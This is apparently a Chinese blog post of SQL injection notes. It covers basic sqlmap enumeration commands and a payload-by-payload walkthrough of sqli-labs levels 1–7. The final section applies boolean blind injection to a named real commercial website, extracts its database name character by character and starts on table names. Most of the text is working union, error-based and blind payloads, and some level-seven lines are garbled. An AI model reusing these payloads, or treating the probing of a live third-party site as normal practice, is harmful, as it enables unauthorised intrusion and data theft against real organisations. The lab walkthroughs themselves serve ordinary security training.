在当今互联网飞速发展的时代,网络安全显得尤为重要。随着Web应用的普及,SQL注入攻击(SQL Injection)成为了一种常见且危害巨大的攻击手段。SQL注入攻击不仅能够窥探数据库中的敏感信息,甚至还能篡改数据、破坏数据库结构,给企业和用户带来巨大的损失。

为了应对这种威胁,安全研究人员和开发者们开发了各种工具和技术来检测和防御SQL注入攻击。SQLMap就是其中一款广受欢迎和高度评价的自动化SQL注入与数据库接管工具。它不仅功能强大,易于使用,而且支持多种数据库类型和注入技术,使得它成为渗透测试人员和安全爱好者的必备工具之一。

本篇博客将带领大家深入了解SQLMap,从其基本原理、安装和配置,到实际使用中的常见场景和技巧。无论你是初学者还是有一定经验的安全从业者,相信都能从中获得有益的信息和灵感。让我们一起揭开SQLMap的神秘面纱,探索其在网络安全领域的强大能力。

Sqlmap

sqlmap超详细笔记
一款自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB。

1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4、联合查询注入,可以使用union的情况下的注入。
5、堆查询注入,可以同时执行多条语句的执行时的注入。

I. 判断是否存在注入

1
python sqlmap.py -u url 

code

II.判断文本中的请求是否存在注入

1
$ python sqlmap.py -r desktop/1.txt 

III.查询当前用户下的所有数据库

1
$ python sqlmap.py -u url --dbs

确定网站存在注入后,用于查询当前用户下的所有数据库。如果当前用户有权限读取包含所有数据库列表信息的表,使用该命令就可以列出所有相关数据库。

code

IV.获取数据库中的表名

选取一个数据库,获取此库的表名

1
python sqlmap.py -u url -D 数据库名 --tables

code

V.获取表中的字段名

4张表选取一个,获取其中字段名

1
python sqlmap.py -u url -D 库名 -T 该库中的表名 –columns

code

BUUCTF sqli-labs

第一关>

?id=-1’ order by 4–+
字段数 3

?id=-1’ union select 1,2,3–+
2,3回显

?id=-1’ union select 1,database(),3–+
database = security

第二关
?id=1’ order by 1–+
报错 order by 1– LIMIT 0,1
数字型

?id=1 order by 3–+
字段数 :3

?id=-1 union select 1,2,3–+
2,3回显

?id=-1 union select 1,database(),3–+
database = security

第三关
?id=1’ order by 5–+
报错 :order by 5– ‘) LIMIT 0,1

?id=1’) order by 5–+
字段数 :3

?id=-1’) union select 1,2,3–+
2,3回显

?id=-1’) union select 1,database(),3–+
database = security

第四关
先试一下 :?id=1’
正常显示
在试一下 :?id=1”
报错 :”1””) LIMIT 0,1

?id=1”) order by 4–+
字段数 :3

?id=-1”) union select 1,2,3–+
2,3回显

?id=-1”) union select 1,database(),3–+
database = security

第五关

?id=1' order by 4--+
字段数 :3

?id=1 and '1'='1'
' 1'='1'' LIMIT 0,1 '

?id=1 and '1'='1
' 1'='1' LIMIT 0,1 '

' '1'' LIMIT 0,1 '

?id=-1' union select 1,2,3--+
无显示位

使用报错注入
1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
database = security

第六关

?id=1’ --+
报错

?id=1" --+
显示

?id=1" order by 4--+
字段数 :3

?id=-1" union select 1,2,3--+
无显示位

?id=1" and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
?id=1" select count(*),concat((database()),0x7e,floor(rand(0)*2))x from information_schema.tables group by x
database = security

第七关
1” 1=1
1"1=1

1’ count(*),concat((database()),0x7e,flooorr(raandnd(0)*2))x from infmation_schema.tables ggroup byroup by x

示例网站

http://www.techmart.com.hk/Coating_Services/latest_news_detail.php?id=1/1
正常显示

http://www.techmart.com.hk/Coating_Services/latest_news_detail.php?id=1 and (length(database()))>16
database长度: 16

http://www.techmart.com.hk/Coating_Services/latest_news_detail.php?id=1 and ascii(substr(database(),2,1))>101
database前两位:te
第一位

115 13862
116 12386 116
第二位
100 13862
101 12398 101

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
116 101 99 104 109 97 114 116 104 107 95 100 97 116 97 50
t e c h m a r t h k _ d a t a 2
database = techmarthk_data2

and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0, 1 ), 1,1) ) ) > 100
109
m

s z t e s t c n
115 122 116 101 115 116 99 110

ID=1+%75%6e%69%6f%6e+%73%65%6c%65%63%74+1,2,3,4,5,6,7,8,10–+